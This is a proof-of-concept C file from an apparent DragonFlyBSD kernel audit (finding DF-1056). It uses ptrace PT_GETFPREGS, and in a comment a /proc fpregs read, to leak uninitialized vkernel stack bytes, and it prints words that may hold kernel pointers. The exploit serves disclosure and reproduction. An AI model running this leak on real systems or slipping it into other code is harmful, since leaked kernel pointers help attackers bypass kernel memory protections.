DragonFlyBSD Kernel Audit
DF-1056 / leak_fpregs.c
← back to finding ↓ download raw
/* SPDX-License-Identifier: BSD-2-Clause
 * DF-1056 PoC: vkernel fill_fpregs leaks ~404 bytes of uninitialized
 * kernel stack via PT_GETFPREGS.
 *
 * Build:  cc -o leak_fpregs leak_fpregs.c
 * Run:    ./leak_fpregs
 *
 * Expected: stderr reports >0 non-zero/non-poison bytes in the
 * [108..511] range of struct fpreg, and the printed 64-bit words at
 * offsets 128..184 contain plausible vkernel stack residue (function
 * pointers / return addresses / stashed register values).
 *
 * Equivalent reproducer without ptrace:
 *   cat /proc/<same-uid-pid>/fpregs | xxd | less
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <machine/reg.h>

int main(void)
{
    pid_t child = fork();
    if (child == 0) {
        ptrace(PT_TRACE_ME, 0, NULL, 0);
        raise(SIGSTOP);          /* let parent attach */
        _exit(0);
    }
    if (child < 0) { perror("fork"); return 1; }
    waitpid(child, NULL, 0);

    struct fpreg fp;
    memset(&fp, 0x5a, sizeof(fp));   /* poison so we can see what is overwritten */
    if (ptrace(PT_GETFPREGS, child, (caddr_t)&fp, 0) < 0) {
        perror("PT_GETFPREGS");
        /* Continue the child so we don't leave it stopped. */
        ptrace(PT_CONTINUE, child, (caddr_t)1, 0);
        return 1;
    }

    /* Bytes 0..107 are filled by fill_fpregs_xmm; 108..511 are leaked. */
    int leaked = 0;
    for (size_t i = 108; i < sizeof(fp); i++)
        if (((unsigned char *)&fp)[i] != 0x5a && ((unsigned char *)&fp)[i] != 0x00)
            leaked++;
    fprintf(stderr, "PT_GETFPREGS returned %zu bytes, %d non-zero/non-poison in [108..511]\n",
            sizeof(fp), leaked);

    /* Dump a window to inspect for kernel pointers */
    unsigned long *p = (unsigned long *)((char *)&fp + 128);  /* inside fpr_xacc */
    for (int i = 0; i < 8; i++)
        fprintf(stderr, "  fpregs[%+d] = 0x%016lx\n", 128 + i*8, p[i]);

    ptrace(PT_CONTINUE, child, (caddr_t)1, 0);
    waitpid(child, NULL, 0);
    return leaked > 0 ? 0 : 2;  /* exit 2 == not reproduced */
}